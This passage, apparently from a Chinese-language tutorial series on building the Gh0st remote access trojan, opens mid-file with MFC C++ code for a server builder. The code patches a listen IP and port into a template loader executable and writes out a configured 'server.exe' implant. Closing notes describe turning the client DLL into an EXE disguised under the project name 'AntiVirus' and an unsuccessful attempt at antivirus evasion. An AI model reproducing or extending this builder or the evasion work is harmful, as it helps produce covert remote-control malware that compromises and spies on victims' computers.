"ListemIp" ); nPort = ((CMyRemoteApp*)AfxGetApp())->m_IniFile.GetString("Settings" , "ListenPort" ); int len = m_strIp.GetWindowTextLength(); m_strIp.SetLimitText(MAXDWORD); m_strPort.SetLimitText(MAXDWORD); m_strIp.SetSel(0 , -1 ); m_strIp.ReplaceSel(nIp); m_strPort.SetSel(0 , -1 ); m_strPort.ReplaceSel(nPort); return TRUE; } int memfind (const char * mem, const char * str, int sizem, int sizes) { int da, i, j; if (sizes == 0 ) da = strlen (str); else da = sizes; for (i = 0 ; i < sizem; i++) { for (j = 0 ; j < da; j++) if (mem[i + j] != str[j]) break ; if (j == da) return i; } return -1 ; } void CCreatServerDlg::OnBnClickedOk () { CFile file; char strTemp[MAX_PATH]; ZeroMemory(strTemp, MAX_PATH); CString strCurrentPath; CString strFile; CString strSeverFile; BYTE* lpBuffer = NULL ; DWORD dwFileSize; UpdateData(TRUE); strcpy (g_myAddress.strIP,nIp); g_myAddress.nPort = atoi(nPort); try { GetModuleFileName(NULL , strTemp, MAX_PATH); strCurrentPath = strTemp; int nPos = strCurrentPath.ReverseFind('\\' ); strCurrentPath = strCurrentPath.Left(nPos); strFile = strCurrentPath + "\\server\\Loder.exe" ; file.Open(strFile, CFile::modeRead | CFile::typeBinary); dwFileSize = file.GetLength(); lpBuffer = new BYTE[dwFileSize]; ZeroMemory(lpBuffer, dwFileSize); file.Read(lpBuffer, dwFileSize); file.Close(); int nOffset = memfind((char *)lpBuffer, (char *)&g_myAddress.dwstact, dwFileSize, sizeof (DWORD)); memcpy (lpBuffer + nOffset, &g_myAddress, sizeof (Connect_Address)); strSeverFile = strCurrentPath + "\\server.exe" ; file.Open(strSeverFile, CFile::typeBinary | CFile::modeCreate | CFile::modeWrite); file.Write(lpBuffer, dwFileSize); file.Close(); delete [] lpBuffer; MessageBox("生成成功" ); } catch (CMemoryException* e) { MessageBox("内存不足" ); } catch (CFileException* e) { MessageBox("文件操作错误" ); } catch (CException* e) { MessageBox("未知错误" ); } CDialogEx::OnOK(); }
part16-我自己的客户端 由于上面几种客户端实际上都不行,所以我自己将dll改成了exe,目的是exe方便执行,工程文件夹为AntiVirus。
part17-免杀 客户端改成exe后,我也尝试写了下免杀,试了几种方法,但是Ghost的特征太多,现在杀毒软件也比较完善了,没能成功。